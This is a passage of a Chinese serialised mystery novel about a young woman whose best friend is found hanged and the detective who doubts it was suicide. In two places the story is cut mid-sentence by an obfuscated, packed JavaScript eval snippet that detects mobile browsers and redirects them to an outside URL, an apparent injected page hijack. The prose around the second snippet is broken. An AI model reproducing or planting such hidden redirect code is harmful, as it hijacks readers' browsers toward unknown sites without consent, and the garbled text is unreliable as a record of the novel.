《道岔》 1. 粥1 小区里很热闹,叶微瑄甚至能听见楼下人流走动的声音。在这之前,刺耳的警笛声划破天际,就像村口大喇叭一样提醒附近的人——有事发生了。 这大冬天的。她蜷缩在家中的床上,拽了拽被角,裹紧被子。才几点?今天可是周日,没人睡懒觉吗?难道已经中午了?她质疑自己的判断,却没有找手机的打算,而是将脑袋埋进枕头。离开被窝是十分痛苦的事,实在是太冷了。 燕京是一座典型的北方城市。每逢冬季,呼啸的西北风会携带风沙造访。气温通常在零度以下,空气十分干燥。虽然有集体供暖,但不意味着人人都可以享受温暖。叶微瑄对此就深有体会。 她目前居住的房子地处市区,是一栋六层板楼,淡黄色的外墙面布满风化剥落的痕迹。小区呈回字形,只有两栋板楼和一个出入口,门口没有保安。物业曾为每个单元加装了门禁,可惜没过多久,各单元的门禁就像“商量”好似的,全都坏了。 这几年除了明显增多的私家车,小区的样子几乎没有变化。待她大学毕业时,不少老住户搬走了,其中就包括她的父母。总之,无论是环境还是设施,该小区都符合人们对“老破小”的定义。 “若不想和我们住,就回老房子住。你刚毕业,工资恐怕不能负担房租。不要苦了自己。”这是叶微瑄的母亲——丘静,对她说过的话,当时她和父母住在一起。“那房子还有半年的租约,等租户走了,你就搬过去吧。” 怎么就负担不了?叶微瑄对母亲的话不置可否,而且也有点生气。她是重点大学市场营销专业毕业的,外表也还说得过去,找工作应该不成问题。毕业前后,她收到过几份Offer,只是因为工资太低拒绝了。三四千元的起薪简直就是压榨,在她看来,人生第一份工作的月薪不应低于六千元。 “找到工作就搬到公司附近,才不要住家里的旧房子。”那天,她在心里对自己说。 “嗡——” 床头传来手机振动音,她揉揉眼睛,从被窝中伸出脑袋。真够受的,暖气就像个摆件。 想打电话投诉,她轻哈一口气,一股暖流聚集在脸颊附近,如同积攒已久的怨气。只是很快,暖流和投诉的想法就烟消云散了。投诉也没用,她知道的。现在是十二月中旬,她早在十一月就做过这件事。 手机有新消息,是丘静发来的,问她是否回家吃饭。她几乎没有思考,回复一个字“不”。下周有几个面试,等拿到心仪的Offer再回家,省的被父亲叨叨。 叶微瑄的父亲叶建文是商场的工程人员,负责商场设施的检修工作,偶尔也会配合运营人员拉掉欠租商户的电闸。父亲希望她考取编制,找一份铁饭碗的工作。从小学开始,这样的理念便成为饭桌间闲聊的话题,并贯穿叶微瑄的整个学生生涯。可能是叛逆的心理在作祟,也可能是觉得自己不适合那样的工作,她从未考虑过父亲的提议。 相较于叶建文,丘静很少叨叨她。叶微瑄觉得母亲不念叨她是有原因的。对方在街道工作,每天面临各种琐事,到家已是筋疲力尽。不过随着待业时间变长,母亲看她的眼神仿佛流露着一丝怜悯。她不知道是自己的心理作用,还是母亲真的带有这样的心情。总之偶尔,她会因此感到惭愧和不舒服。 “警察还没走啊?” “且呢。” 窗户不隔音,窗外的议论声传到叶微瑄耳边。警察?她扭头看向窗户,严丝合缝的窗帘挡住了阳光,却没能挡住人们的闲言碎语。发生什么事了?刚刚好像有警笛声。要不问问零零?虽然不在一个单元,但对方住一楼,或许更了解情况。 【醒了吗?身体好点没?小区好热闹哦。】 叶微瑄与楚零是在大学相识的,她们的学校坐落在更北方的省会城市,从燕京过去要乘五个小时左右的高铁。两人同属一个学院,对方是工商管理专业。出于地理位置的原因,多数同学毕业后选择来燕京发展,楚零就是其中之一。不过楚零来燕京还有另外一个原因,她的男朋友——顾锵然,是燕京本地人。顾锵然和叶微瑄同班,楚零与对方交往了三年多,感情稳定,二人是奔着结婚去的。 介于顾锵然与母亲同住,在叶微瑄的盛情邀请下,初到燕京时的楚零住在叶家,那会儿叶微瑄也没有搬出来。楚零承诺找到工作后就搬走,最后她也是这么做的。不到一个月,她便在一家体育用品零售公司找到工作,工作地点是公司旗下的运动卖场。 “啊?徒步区的销售?你学的是工商管理,以后可是CEO。” “哈哈,什么嘛,还早呢……是管理培训生啦,一开始要轮岗站柜台,是暂时的。人力说了,干得好能获得出国学习的机会。卖场的店长也这么说。店长姐姐比我大十岁,人很好,正在为学习机会而努力。” “真的么?不是在画饼吧。你这么优秀,总感觉是大材小用。” “我觉得还好。成为一名好的销售并不容易,更何况前台工作有助于了解客户行为。你要是没事可以来兼职,增加实践经验。再说了,我不能总住你家,有稳定的收入来源就可以搬出来了。这份工作的起薪虽然一般,但绩效工资很可观,又有发展前途,我很满意啦。” 如楚零所说,对方找到工作的第二个月就搬出叶家。叶微瑄热心地将老邻居的房子推给对方,不仅省掉一笔中介费,租金方面也获得了一定的折扣。 世事难料,几个月后叶微瑄也搬回了老房子,与楚零成为同一个小区的邻居。她时常心想:早知道是这样,不如让对方在自己家多住一阵,然后一起搬。不过她也知道,楚零是不会和她一起住的,因为顾锵然偶尔会找对方过夜。 手机没有动静,零零可能没起。叶微瑄起床洗漱,打算一会儿去楚零家看看。前天傍晚去找楚零时,对方站在门口裹着白色羽绒服,神色只能用萎靡不振来形容。 “怎么又来了?感冒会传染的,快回去。”零零一会儿肯定这么说,叶微瑄轻拍脸颊,晶莹剔透的水珠弹了起来。 梳起凌乱的头发,扎个低马尾,她前往厨房。橱柜上摆满了调料,有些还没有拆封,就比如一盒豆瓣酱。叶微瑄不记得买豆瓣酱的原因了,大概率是与楚零逛超市时,对方买她就跟着买。显然,豆瓣酱的命运已被决定——放到过期。 熬锅白粥吧。零零孤身在外生病了,作为朋友不能视而不见。她取出昨日买的冰鲜鸡小胸,切成奇怪的条状物,与大米一起扔进锅里。 【零零,你是自己在家吗?如果是就别点外卖了。我熬粥,等会儿过去看你。】 她又给楚零发了一条微信,并附上若干张疑似鸡丝粥的照片。 “就是六楼那家。” “门牌号是多少?” “我想想啊,应该是……我带您过去。” “好。” 小区内嘈杂的议论声混合着粥锅沸腾的咕噜声充斥在满是蒸汽的狭小厨房内。叶微瑄伸长脖子望向窗外,楼下全是人,三三两两的站在一起。天气寒冷,大部分人裹着羽绒服,少部分人戴了口罩。西北风有时像铺面而来的砂纸,磨得人满脸生疼,口罩是个不错的御寒选择。小区内停满了私家车和电动车,几辆警车停在大门外,红蓝警灯在暗沉的天色中不停闪烁。 多数人围在一单元门口,看着都很面熟,只是一个都叫不上名字。杂草丛生的花坛边站着两位大爷,头发花白,至少六十多岁。二人背着手,正面色凝重地讨论什么。不远处的角落,一位看不出年纪的中年女人紧紧皱着眉头,她的身旁站着一对带孩子的年轻夫妇。这家人可能是要出去玩,旁边的车门是开着的,几人却迟迟未上车。 那不就是零零所住的单元么,叶微瑄对着楼下拍了一张照片,发给楚零。几个中年人刚好仰头,视线扫向她。她赶忙缩回脑袋。有点难为情,那几人会不会嘲笑她偷拍?她胡乱地捋了一下头发帘,脸被沸腾的蒸汽熏得有点烫。 粥好像熟了,她舀起一勺尝了尝。没什么咸淡味。盐罐在厨房的窗台上,她拿起来闻了闻,撒了一点,又临时切了姜丝扔进锅里。 就在她搅拌粥锅时,门铃响了。 “谁啊?”她将灶台调成小火,快步走到客厅,透过猫眼看向门外。其中一人她认识,另一个是陌生人。她打开门,“大爷?”她朝熟人打了招呼,又看向另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506568|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人问:“您是?” 陌生人是一位年轻男性,不到三十岁,中等身材,浓眉下的小眼睛炯炯有神。对方戴着卡其色棒球帽,穿了一件看不出厚度的白色毛衣,外面套着棕色的皮夹克,搭配淡蓝色直筒牛仔裤。 “老土。”——类似的词汇在叶微瑄的脑海中一闪而过。对方年纪不大,却是一副少年老成的模样。 “警察同志,就是她。”大爷是叶微瑄的老邻居,躲在陌生人身后。对方嘴角下垂,脸上的皱纹交杂在一起,语气不似平日那般随和。 警察?叶微瑄愣了愣。“怎么了,大爷。”她茫然地问道。大爷长叹一口气,看向地面,用力地摇晃脑袋。叶微瑄心里一沉,不祥且模糊的想法骤然萌生,隐隐约约的不是很确切。 “您先回家,完事我会找您的。”年轻警察扭头说道,“我有事要问她。” “问我?”叶微瑄心跳加速,强忍心中的不安目送大爷唉声叹气地下楼了。 警车、老邻居、没有回复消息的朋友,不同元素的整合像是在预示不好的事情。“是不是零零出事了?”——想法逐渐清晰,叶微瑄不得不咽了一口口水,以缓解耳边复杂的心跳声。 “叶微瑄?” “是。” “能进去说吗?”被称作警察的人掏出证件,亮在叶微瑄眼前。“本该有个同事和我一起来,但他现在很忙。不过我有这个,你大可放心。”对方晃晃手中的执法记录仪。记录仪闪着小灯,处于开机状态。 叶微瑄瞥了一眼摄像头,很快垂下视线,被摄像头直视的感觉并不好,令她浑身不自在。 “请进。”她也没看自称为警察的人的证件,而是侧身让出一条路,将对方迎进不大的门厅。 门厅只有五六平米,置有一张餐桌。穿过门厅就是客厅,警察没有往里走,而是在简易的餐桌前落座。叶微瑄询问对方是否需要喝点什么,对方摆摆手,道了一句“不必麻烦”。 “我来是向你求证几件事。”警察将记录仪摆在餐桌上,“你认识楚零吗?” 听到朋友的名字,叶微瑄周身发热,耳边仿佛有一百只扰人的虫子在飞。“认识。”她的声音很小,还没有她的心跳声大,“零零怎么了?” 警察没有回答她的问题。“你和她是什么关系?” “很好的朋友,闺蜜。” 警察长吐一口气,看表情似乎得到了满意的答案,大概是因为提前知晓的事实得到了的证实。“你们最后一次联系是什么时候?”他抬起头,直勾勾地盯着叶微瑄杏仁般的眼睛。 “昨天……哦不,不对,是今天上午。也不对……”叶微瑄头脑发热,只感口干舌燥。能不能先告诉她,楚零怎么了?“我今天联系过零零,但是她没有回复。等等……” “怎么了?” “我刚刚一直在熬粥,没来得及看手机。”她忽然起身,不顾警察惊异的目光走向厨房,在案板旁找到手机。千万别是什么……她试图克制不祥的预感,解锁屏幕。杂乱的心跳中怀有强烈且迫切的期待,只是这期待很快就变成失望。 她忧心忡忡地坐回原位,警察看她的目光较之前柔和了许多。 “零零没回我。”叶微瑄无助地摆弄手机,“最后一次联系是昨天。”她将屏幕转向对方。眼眶周围充斥着酸胀感,她想哭。“零零到底怎么了?” “嗯……”警察摘掉帽子,挠了挠剃成圆寸的脑袋。传递噩耗——不是他擅长的事情。“很遗憾的通知你,楚零于今早被发现在家中缢死。” 缢死?什么是缢死?她张着嘴,大脑一片空白。她好像听懂了,却又不敢相信。 “报案人发现她的时候……” 警察后来说了什么,叶微瑄几乎没有听清。她只知道,她最好的朋友好像死了,被医生当场宣告死亡。耳边的蜂鸣声越来越大,她僵坐在原地,四肢无法动弹。未知的恐惧袭扰全身,一时间,她连哭都哭不出来。 房间就这么安静了,不知过了多久,传来颤颤巍巍的声音。“怎么可能?”叶微瑄用力眨了眨眼睛。等她回过神时,四周仿佛下起瓢泼大雨,世界瞬时变得模糊不清。 2. 粥2 刑警支队是上午九点接到的派出所电话,说是辖区内发生疑似自杀案件,接警时间是8:55。边何的师父让他过去看一眼,协助派出所民警进行调查取证工作。 他只身前往案发小区。案发单元是一单元,靠近小区入口。抵达时,单元门口围满了人,这让本就被电动车和自行车占领的狭窄过道变得更加拥挤。 “好好的小姑娘,为什么啊?”案发现场是一楼102号,房东正站在门口接受民警的盘问。 听房东的意思,死者今天刚大学毕业,搬过来没多久。房东似乎已经认定这是起自杀案件,连他身边的民警好像也是这么认为的。 死者尸体已被救护车拉走,边何戴好手套、穿上鞋套,越过警示线进到屋内。房子是全朝南户型,进门是8、9平米的小餐厅,正对面是厨房和洗手间,左右两侧各有一个卧室。不过,较大的卧室被改为了客厅,也是本案的第一案发现场。 客厅带开放式阳台,阳台的一角摆着几盆绿植,边何只认识绿萝和朱顶红。有盆结满红色小果的植物也很眼熟,户外常能见到,但他一时想不起名字。这些植物被照顾的很好,即使是冬天也一派生机盎然的模样。现场很干净,除了几颗掉在地上的红色果实,几乎可以说是一尘不染。生活用品也摆放的整齐有序,看不出有打斗的痕迹。 真是自杀啊。这样的想法油然而生,边何抬头看向天花板,没有发现可以挂绳套的地方。他环视四周,视线落在阳台的两扇窗户上。靠近植物的那扇窗户紧闭,另一扇则是呈上旋打开状,边缘处能看到警方做的标记。 “刑警的嗅觉是不一般,和狗一样灵敏。” “……” “死者名叫楚零,女,23岁……初步判断死亡时间是昨晚。她是利用阳台窗户上吊自杀的,绳套是常见的登山绳,橙色。发现死者时,尸体呈坐卧位。我们在客厅采集到几枚指纹,并找到了死者的手机……房内没有外来鞋印,不存在强行入室的可能。” 勘察现场的民警向边何介绍大概情况。民警是熟人,与他年纪相仿。边何常和对方打交道,却不知道对方的名字,只知道大家都叫他小刘。“话说,有阵子没见到你了。”小刘笑着叹口气。 “还是不要见到的比较好。”见面等于有案子,边何说的是真心话。 小刘对此不以为意。“这起案件没有悬念,很快就会结案,不会麻烦你太久的。” “等法医和痕迹鉴定结果出来再说吧。报案人是谁?房东?” “不是。报案人是死者的男朋友,名叫顾锵然,每个周末都会来找死者。他被吓得不轻,已经带回所里做笔录了。房东是接到通知刚刚赶过来的,他也是够……”或许是觉得对逝者不敬,即将脱口而出的言语被小刘生生咽了回去。 “够倒霉的。你是想这么说吧?” 对方看向地面,尴尬地清了清嗓子。“不是……” “没关系,我也是这么认为的。谁也不愿意摊上这样的事,人之常情。死者值得同情,活着的人也一样。”边何没什么语气地说道。他靠近挂绳套的窗户,仔细查看一番,随即走到另一扇窗前,用力拉了拉把手。把手很结实,完全可以承受一个年轻女性的重量。 “死者的体型相对瘦小。”小刘见状补充道。 边何“嗯”了一声,转身环视四周。死者应该是一个物欲不强的人,又或者是生活比较拮据。家具多半是房东安置的,老旧的电视、深棕色的沙发和原木色的茶几就能证明这一点。 他走到沙发旁,这里有张边桌,边桌附近立着小型书柜。边何猜测,边桌和书柜是死者自己添置的家具。书柜共三层,除最底层空着外,其余两层摆满各类书籍。第一层是专业类,中间放着一本十分显眼的牛津词典。第二层是杂书,小说、诗集、散文集,什么类型的都有。 边何将视线从书柜转到边桌,一本打开的书倒扣在桌面上。看书名是一本小说,书旁放着一枚精致的金属书签。他翻了翻这本书,又合上仔细瞧了瞧,不经意间紧锁眉头。 “有什么问题?”小刘注意到他的表情发生了变化。 “不知道。”他招手示意,将书和书签一起放进对方递过来的证物袋,“通知死者家属了吗?” “通知了,已告知对方父母。死者是外省人,父母赶来要花一些时间。” “独生女?” “是的。” 边何沉默了,小刘也惋惜地摇摇头,脚步声和杂乱的议论声在空气中蔓延。二人一时无言,各自勘察现场。好好的女孩为什么要自杀?边何仔细检查每一个角落,生怕有什么遗漏。 “啊,对了。”小刘忽然想起什么,“我们向房东简单了解了死者生前的人际关系。巧的是,与死者关系较好的朋友也住这个小区。房东和朋友一家是老邻居,是朋友介绍死者租的房子。” “怎么不早说?”边何扭头看向小刘。 “好像也不是很重要,我一会儿要去对方家里取证。” “我去吧。”他打断小刘,“你好好勘察现场,顺便和所里说一声。” “那感情好。”小刘对此无异议,“我这就给你查对方的住址。” “不必了,有人知道。”边何扭头淡淡地说道。房东就站在入户门门口,仍一刻不停地朝负责警戒的民警大吐苦水。“小刘,你得帮我一个忙,这件事你做更合适。” “我就知道天下没有免费的午餐。” 边何微微提起嘴角,悄声说出诉求:“去收集昨晚驶入小区车辆的行车录像,我相信大部分车辆都安装了行车记录仪。” “什么?”小刘吃惊地瞪圆眼睛,就好像边何提了一个强人所难的要求。“这工作量也太大了,而且有必要吗?一个自杀案件。”见边何眼神变了,他又赶忙改口,“疑似自杀案件。” “要对逝去的生命持有谨慎的态度。”——耳边响起师父常说的话,边何点点头。“有必要。”他的语气颇为耐心,“记录仪的存储时间有限,咱们先留存。万一案子有变故,再找就晚了。你放心,若是案情有变,查出什么功劳算你的。” “话是这么说……”小刘有些犹豫,“成是成,但是有难度。行车记录仪的内容涉及隐私,居民不一定配合。” “想想辙嘛。你最擅长做群众工作了,我知道的。”刻意的恭维令人起鸡皮疙瘩,他夸张地抖抖肩,很快结束了这个话题。 边何又去其他几个房间转了转,卧室、厨房、卫生间都和客厅一样整洁。床上的被子是叠好的,笔在笔筒里,镜子被擦的锃亮。他打开冰箱冷藏区,底层抽屉中有一袋新鲜的橙子,娃娃菜、平菇和两颗西红柿在中间两层,最上层放着一盒牛奶,生产日期是昨天。 怎么看都是在好好生活啊,他心想。 离开案发现场前,边何指导痕检人员在可疑的位置采集证据。由于高度怀疑是自杀,痕检人员对边何的要求怨声载道。但他们还算尽职,听从指示在不同房间分别提取了指纹和其他生物检材。 边何告知房东要去找死者朋友时,房东表现出了极大的热情。前往叶微瑄所住单元的路上,围观群众的目光纷纷落在二人身上,就像闪光灯一样不停地闪烁。 “就是六楼那家。” “门牌号是多少?” “我想想啊,应该是……我带您过去。” “好。” 房东带边何上到六楼,急不可耐地按响门铃。楚零的朋友——那个叫叶微瑄的女孩很快就开门了。对方梳了一个低马尾,身上披着蓝色毛外套,脸颊微红。清秀、不修边幅、眼神澄澈,是叶微瑄留给边何的第一印象。 “怎么可能?” 十几分钟后,震惊到失声的女孩大哭不止。边何也不知道该如何劝慰叶微瑄,只好将纸巾盒推到对方面前,对方哭着道了一声“谢谢”。 应该是很好的朋友关系,女孩的表现不像是假的。边何抱起双臂,在心中做出判断。“你觉得不可能吗?”待女孩的哭声小些了,他用征求意见的语气问。 “什么意思?”叶微瑄只感头疼欲裂,一时没有明白对方在说什么。 “抱歉,我换个问法。你最近见过死者……楚零吗?” “前天晚上见过一面。”前天是周五。 “她的身体和精神状态如何?有没有异常行为?” “零零前阵子感冒了。”叶微瑄吸了吸鼻子,上气不接下气地说,“没有什么异常行为。你不是看过聊天记录吗?她昨天还说等病好了,叫其他朋友来家里聚聚。”她的声音渐渐变大,“零零是那么热爱生活的人,怎么可能自杀?” “这可不好说。” “不好说?”她哭着瞪向对方。这位警察调查了吗?就不好说。 “有的抑郁症患者看上去很正常,但是会忽然发病。生死往往在一念之间,对于那些患者来说,死亡是解脱。” “零零没有抑郁症!” “为什么这么肯定?” “她什么都和我说,尤其是心情不好的时候。”叶微瑄拿起桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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聪明,边何提起嘴角表达认可。他仔细回想案发现场同层的两户人家,好像都没有安装摄像头。 据叶微瑄说,小区住户一半是老年人,没有安装摄像头在情理之中。另外,“老破小”的楼梯间比较狭小,摄像头会在同层住户开关门时录下对方家中的样子。有人会介意,故家用摄像头在这个小区并不普遍。小区大门附近倒是有摄像头,但应该是坏的。进小区时,边何就仰着脑袋认真查看过。 “你认识死者的男朋友吗?”楼下住户的监控记录可以为叶微瑄提供有效的不在场证明,稍后自会有人去调查取证。他换了一个问题。“叫顾锵然。” “认识,我们是大学同学。” “你知道他今天来找死者吗?” “不知道,我本打算给零零送粥。要知道他来,我就不做了。” “死者没和你提起过?” 这是什么问题,叶微瑄不是很理解。“没提。朋友之间不用报备的吧?” “也是。”边何表示认同。他拍了拍双腿,起身,“谢谢你的配合。今天先到这里,后续警察还会找你了解情况。如果你想起什么也可以主动找我。”他拿起叶微瑄的手机,拨通一个号码。 “我一定配合你们。”叶微瑄的情绪比刚刚好多了,思维也逐渐清晰。“我能……我能看看零零吗?”她鼓起勇气问。 “恐怕不行。不过……”边何走向门口,盯着门把手,“也许过两天你就能见到她了。” “啊?” “保持联系。”他扭头看向叶微瑄,估计对方刚才没看清他证件上的名字,“我想我们还会再见的。我叫边何。若是想到什么线索,记得给我打电话。” 边何说完就离开了,叶微瑄站在门口迟迟没有关门。有那么一瞬间,她希望这位年轻的警察能陪她多待一会儿。楚零——她最好的朋友死了,这感觉很不真实。明明昨天她们还在聊天,她很难相信这个事实。警察在能让她感到安心,现在她再次感受到了恐惧。门关上的那一刻,她瘫软在椅子上。胸口很闷,她做了几次深呼吸,楚零的笑脸浮现在她的脑海中,并且逐渐变得清晰。 空气中弥散着苦涩的味道,愈发浓烈。叶微瑄扶着椅子起身,走到厨房。炉灶上的锅干了,大米糊成了嘎巴。几十分钟前,这锅粥还承载着她们的友情。她望着那锅粥,眼泪不受控地滑落。泪水没能给干巴的锅底带来生气,而是瞬间蒸发,化为乌有。 她关掉火,将粥锅直接扔进水槽,同时拧开水龙头。锅底传来噼里啪啦的声音,她望着哗啦啦的水流,用胳膊使劲擦了擦脸。 3. 书签1 “也许你过两天就能见到她。”——几天后,叶微瑄明白了这句话的意思。 葬礼在楚零去世后的第七天举行。逝者得以安息是好事,但叶微瑄却感到有些心涩。好友的尸体能够顺利火化说明一件事,案件最终被定性为自杀。 楚零父母在事发当晚赶到了燕京。中年丧女,而且是独生女,那样的苦闷和悲怆只有他们自己知道。 叶微瑄记得楚零说过,她的父母生她早,现在也就四十五岁左右。前几日第一次见到楚零父亲时,叶微瑄以为认错人了。男人看着像六十多岁,花白的短发,扭曲的皱纹深陷在粗糙的皮肤里,张口能闻到一股廉价的烟草味。 当时,楚零的母亲跟在丈夫身后,那是一位个子不高、身材瘦小的女人。她年轻时应该很秀气,脸上没什么斑,却也没有任何血色。她的眼底布满血丝,鬓角处夹杂着几缕银色的头发。她始终处于哭泣的状态,面目憔悴,喉咙深处发出的一声声叹息令人感到难过和绝望。 在得知女儿噩耗前,夫妇俩正在乡下的家中准备年货。他们快一年没有见到女儿了,下个月就是春节。在大城市工作的女儿是他们心中的骄傲,两人数着日子盼女儿回家。 “我去买鸡爪,前两天答应给闺女卤鸡爪了。她说她卤的没咱们卤的好吃。” “那你再买点鸡翅,这次多卤点,节后让她带去燕京。” 夫妇俩的日常聊天总是围绕着女儿,那天也不例外。就在楚父准备出门时,那该死的手机响了。冰冷的空气似乎瞬间凝住,手机掉到地上的那一刻,这对中年夫妇的世界一片灰白,他们的天塌了。 抵达燕京后,他们一边承受巨大的痛苦,一边配合警方调查。案件的调查进展比他们想象中要快。警察告诉楚零父母,法医确认楚零属于缢死,而非勒死,医学上两者的尸体征象明显不同。法医在他们女儿的脖颈处发现了橙色附着物,经检验属于用来自缢的登山绳。 由于案发现场开着窗户,现在又是冬季,对死亡时间的判断可能稍有偏差。根据尸冷和其他指标综合判断,楚零死于案发当晚的20:00至22:00。这是法医推断的时间,警方的结案报告却与之不同。结案报告记载的死亡时间是21:15至22:00,原因是顾锵然曾在21:00的时候给楚零打过电话,通话时长为15分钟。通话记录证明,顾锵然所言属实。 痕迹检验方面,案发客厅的几枚指纹均来自楚零,其中一枚采自上旋窗户把手。除此之外,没有发现其他可疑指纹,其他房间的外来指纹也被确认与案情无关。 用于自缢的登山绳是楚零于八月底从工作的运动卖场买的,办案民警去卖场核实过,相关购买记录确认无误。顾锵然也向警方证实,曾在女朋友家见过这条绳子,说是遇到突发情况可以用来逃生。 伪造自缢并不罕见,警方以自杀结案还有一个重要原因。法医在楚零左手腕的内侧发现两道试切创痕,是近两日才留下的痕迹。从刀口方向判断,对方生前存在割腕的行为。警方询问过顾锵然和叶微瑄,二人对此均不知情。 试切创痕成为可以结案的重要证据,案件因此得出决定性的结论。楚零父母后来也看到了那两道创痕,他们大哭不止,就像看到了女儿对生的犹豫。 至于自杀原因,民警始终没能找到答案。楚零本周三就请假了,理由是感冒。由于入职不到半年,运动卖场的同事表示与她不熟,当然可能也是不想牵涉其中。总之,警方没能从卖场得到任何有效信息,遂将注意力转移到楚零的男朋友顾锵然身上。 他们简单调查了楚零与顾锵然手机中的聊天记录。这对小情侣虽偶有争吵,却只是小打小闹,聊天内容再正常不过。他们在周六的聊天中提到过周日见面,约好一起去逛公园。根据顾锵然的证词,二人晚上九点打电话是商量明天见面的事,没有吵架,电话中楚零没有异常。事实上由于双方工作忙,他们主要的沟通方式就是打电话,而且经常是在晚上,偶尔也会视频,通话记录可以证明这一点。 顾锵然陈述事实时悲伤的神态不像是装的。两人明天要约会,民警也不认为一通15分钟的电话就能让小情侣中的一人想不开。由于该案定性为自杀,针对细枝末节的调查就显得没那么重要了。人的行为很难预测,办案民警认为,自杀真相只有死者自己知道了。 楚零父母是老实人,虽不了解女儿自杀的原因,却没有对案件结果提出质疑。女儿试图割腕,这是铁证,是他们做父母的疏忽了。这对中年夫妇很自责,整日以泪洗面,是他们的错,是他们没能照顾好女儿。 死者家属无异议,警方顺利结案。 “锵然,这两天辛苦你了。”楚母站在告别厅门口,揉搓着双手,神色有些为难,“零零走的突然,我们没有准备。” “阿姨,您这是哪的话。”顾锵然低头看向地面,“我是她的男朋友,出了这样的事,我也有责任。” 这样的对话每天都在发生,双方的语气透着客气和无奈。顾锵然本以为楚零的父母会埋怨他,找他麻烦。他偶尔会想,若真是这样倒也好了。可对方并没有那么做。“通情达理”四个字在楚零父母的身上体现的淋漓尽致,那对夫妇无措的表情和朴实的言辞令他感到惭愧和自责。 “不耽误你工作吧?” “没关系的,阿姨。”他依然没有抬头,面色远没有言语那般洒脱,眼神因悲伤而阴郁。 “真是个好孩子。” 听楚零母亲这么说,顾锵然抬起头。人人都说他是好孩子,可他连自己的女朋友都没能守护好。他的嘴角微微颤抖了几下,紧握的双拳青筋暴起。 顾锵然成长在单亲家庭,父亲过世的早,从小与母亲相依为命。在旁人看来,他有一份体面的工作,也就是人们常说的铁饭碗。为了获取这样一份安稳的工作,他的母亲替他四处奔走。他本人也算争气,按母亲的意思参加考试、面试,最终抢到一个宝贵的录取名额。 得知录取结果的那天,他很高兴。一向性格内敛的他大声向几位挚友宣布好消息,楚零、叶微瑄当时都在场。未来是他们的,他豪言壮志般地发表对理想的看法。说到最后,他认真地看向楚零。 他说:“零零,等我在单位站稳脚跟,我就把咱们的事告诉家里,咱们结婚。” 起哄声、口哨声四起,他看见人群中的女友笑得很开心,眼眶中充盈着幸福的泪水。 “锵然这两天可真不好过。”陶涂涂凑到叶微瑄身边悄声说道。她是叶微瑄的大学挚友,本地人,两人是市场营销专业的同学。陶涂涂身材高挑,留着一头秀丽的长发,长了一双俊俏的柳叶眼。 她目前在一家主营医疗器械的外贸公司工作,上班时间灵活,除基本工资外,还能拿到可观的销售提成。不过公司订单主要来自海外,为了配合海外客户的时间,她常在晚上加班。也正是由于这样的原因,她总是缺席朋友们的聚会。 叶微瑄和楚零私底下十分羡慕陶涂涂,也常感叹上帝的不公,对方似乎自出生就拿到了“大女主”的本子。陶涂涂不仅长得好看,性格大大咧咧的,家境也不错,身边从不缺乏追求者。而且可贵的是,很难从这位大小姐身上嗅出娇生惯养的气息。对方心地善良,在楚零父母为大城市高额的丧葬费发愁时,她二话没说,慷慨解囊。对此叶微瑄是有点惊讶的,在她的认知里,陶涂涂与楚零的关系远没有楚零与她那般亲密。 “我以为锵然和零零快要结婚了。”陶涂涂瞥了一眼不远处的顾锵然。顾锵然瘦了不少,双颊凹陷,毫无气色可言。 “我也以为。”叶微瑄在整理花圈。她揪了揪马蹄莲附近的叶子,花圈看上去规整多了。现场一共没几个花圈,都是她和朋友们送的,以鲜花为主。最近两年流行电子花圈,默契的是,没有一个朋友选择这样的方式。看着像玩具,一点不庄重,不知道其他人是否和叶微瑄有一样的想法。 “仔细想想,你也算是他俩的媒人。哎,真可惜。得知零零去世的时候,我吓了一跳。实在是太突然了。你说零零是不是和锵然吵架了,才——” 又开始了,叶微瑄打断对方。“别瞎说。哪对情侣不吵架,都是小打小闹。” “也是……锵然脾气那么好,我是没见他红过脸。”陶涂涂没事情做,无所事事地抱起双臂,“那零零是为什么?我想不明白。她是咱们几人中公认的最努力的吧?那么积极向上的一个人竟然自杀了,实在是匪夷所思。” 为什么?叶微瑄也想知道为什么。她淡淡地回了一句“是”。 “难道是因为工作不顺心?” 那也不至于自杀吧。叶微瑄没法回答对方的问题。她仰起脖子,随即泄气地沉下肩膀。抵触的情绪悄然萌生,她仍对楚零自杀保持怀疑,得知对方试图割腕的短暂震惊并没有动摇她心中的想法。 “小瑄、涂涂、锵然。”冰冷的空气中传来熟悉的声音,几人纷纷回头。 “暗尘!”陶涂涂用胳膊肘捅了一下叶微瑄。 朝他们走来的年轻男人个子很高,一米八五左右,头很小,五官硬朗,长了一对夸张的招风耳。他和楚零同为工商管理专业的毕业生,是几人中最先早找到工作的,目前在一家会议策划公司做项目助理。正值年底,是他最忙的时候。 “真没想到会发生这样的事。”马暗尘问候楚零父母后,站到叶微瑄身边,“你说零零也是,干嘛想不开。等我一会儿看见她,可要好好问问。”他好像是在开玩笑,但没有人笑。 “暗尘。” “零零平时看着那么温和,怎么会做出这么绝情的事。都怪锵然。”他挤出一个生硬的笑容,“这家伙到底是怎么照顾零零的,真是欠揍。” 可能每个人表达悲伤的方式都不同吧,叶微瑄与陶涂涂沉默地交换了一个了然的眼神。 参加葬礼的人到齐了。楚零初来乍到,身边的朋友仅限于大学同学,能参加葬礼的人寥寥无几,十几平米的小型告别厅也证实了这一点。叶微瑄等人联系过楚零的公司,但楚零入职不久,和同事的关系算不上熟络,故没有同事前来吊唁。 “没关系的,我们回去会再办一场。”楚零的父亲如是说,“零零不属于这座城市,就让她安静的离开吧。”老实本分的男人从始至终没有过任何怨言,但这一次,叶微瑄从对方平淡的语气中听到了潜藏的恨意。 